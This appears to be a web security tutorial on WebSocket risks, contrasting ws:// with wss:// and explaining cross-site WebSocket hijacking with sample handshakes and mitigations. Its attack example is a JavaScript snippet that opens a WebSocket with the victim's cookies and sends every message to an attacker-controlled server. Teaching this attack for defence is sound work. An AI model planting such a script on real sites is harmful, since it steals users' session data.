What is WS & WSS

WebSockets use WS (ws://) for insecure connections and WSS (wss://) for secure, encrypted communication via TLS/SSL. Since ws:// transmits data in plaintext, it is vulnerable to attacks, while wss:// ensures security, integrity, and authentication. Always use wss:// to protect sensitive data.

ProtocolDescription
WS (ws://)Insecure WebSocket connection (similar to http://). Data is sent in plaintext, making it vulnerable to man-in-the-middle (MITM) attacks.
WSS (wss://)Secure WebSocket connection (similar to https://). Uses TLS/SSL encryption, preventing eavesdropping and tampering.

Exploitation

  • Concept: Similar to CSRF but affects WebSockets, allowing full two-way communication.
  • Risk: If a WebSocket connection relies only on cookies for authentication without CSRF protection, attackers can hijack the session.

Example of a Vulnerable WebSocket Handshake

GET /chat HTTP/1.1 Host: normal-website.com Sec-WebSocket-Version: 13 Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w== Connection: keep-alive, Upgrade Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2 Upgrade: websocket
  • Attack Scenario: A malicious website can initiate a WebSocket connection using the victim's auth cookie.

CSWSH Attack Example

<script>
var ws = new WebSocket('wss://websocket-connection-handshake-url');     
ws.onopen = function() { ws.send("READY"); };     
ws.onmessage = function(event) { fetch('https://attacker-controlled-server', {method: 'POST', mode: 'no-cors', body: event.data}); }; 
</script>
  • The attack intercepts WebSocket traffic and forwards it to an attacker's server.

Example

This example shows an insecure WebSocket (ws://) that relies only on cookies for authentication without CSRF protection. Attackers can hijack the connection and send unauthorized requests.

Vulnerable WebSocket Connection (ws://)

GET /chat HTTP/1.1 Host: example.com Upgrade: websocket Connection: Upgrade Sec-WebSocket-Version: 13 Sec-WebSocket-Key: abc123== Cookie: session=USER_SESSION_ID`

Vulnerable Issues:

  • Uses ws:// instead of wss://, meaning data is sent unencrypted.
  • No CSRF protection—an attacker can force a victim’s browser to establish a WebSocket connection using their session cookie.
  • If the session cookie is not marked HttpOnly or Secure, it can be stolen via JavaScript.

Secure WebSocket Connection (wss://)

GET /chat HTTP/1.1 Host: example.com Upgrade: websocket Connection: Upgrade Sec-WebSocket-Version: 13 Sec-WebSocket-Key: xyz789== Authorization: Bearer eyJhbGciOiJIUzI1...

Security Improvements:

  • Uses wss:// to encrypt data and prevent MITM attacks.
  • Replaces cookie-based authentication with a secure token (Authorization: Bearer ...) to prevent CSRF.
  • Ensures the WebSocket origin is validated on the server before accepting connections.
  • The server enforces HSTS to prevent protocol downgrades.